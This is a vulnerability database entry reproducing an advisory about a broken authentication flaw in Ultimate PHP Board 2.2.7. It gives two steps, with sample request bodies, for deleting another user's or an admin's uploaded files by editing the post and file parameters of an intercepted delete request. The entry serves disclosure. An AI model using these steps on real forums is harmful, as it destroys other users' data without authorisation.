Ultimate PHP Board 2.2.7 Broken Authentication and Session Management

2014-07-01T00:00:00
ID SSV:71708
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00

Description

No description provided by source.

                                        
                                            
                                                # Exploit Title : Ultimate PHP Board 2.2.7 "Broken Authentication and Session Management"
# Date : 2011.05.17
# Author : i2sec - Gi bum Hong
# Software Link : http://sourceforge.net/projects/textmb/files/UPB/UPB%202.2.7/
# Version : 2.2.7
# Tested on : apache 2.2.14 | mysql 5.1.39 | php 5.2.12

This Vulnerabibity Web base on "Broken Authentication and Session Management".
This attack can delete another user's(ex.admin) upload file.

step1.
Analyze request message of file delete using Paros Tool.
ex) http-request-message body : ~&postid=2&~~&threadid=1&divname=1-1-2-attach&fileid=3&filename=file.txt~

step2.
Change request message to attacking file's post ID and file ID/name.
ex) http-request-message body : ~&postid=1&~~&threadid=1&divname=1-1-1-attach&fileid=2&filename=account.txt~

Full Advisory: http://www.exploit-db.com/download_pdf/17307